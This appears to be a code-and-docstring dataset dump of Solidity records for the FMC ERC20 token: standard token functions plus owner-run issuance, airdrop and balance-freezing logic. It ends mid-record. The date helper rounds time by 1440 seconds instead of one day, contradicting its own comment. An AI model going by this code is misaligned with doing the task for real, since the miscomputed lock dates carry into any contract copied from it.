contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 1507, 1702 ] }
7,036
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 2024, 2189 ] }
7,037
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 2647, 2957 ] }
7,038
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
decreaseApproval
function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 3420, 3869 ] }
7,039
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 623, 804 ] }
7,040
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
transfer
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; }
/** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 1573, 3107 ] }
7,041
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, 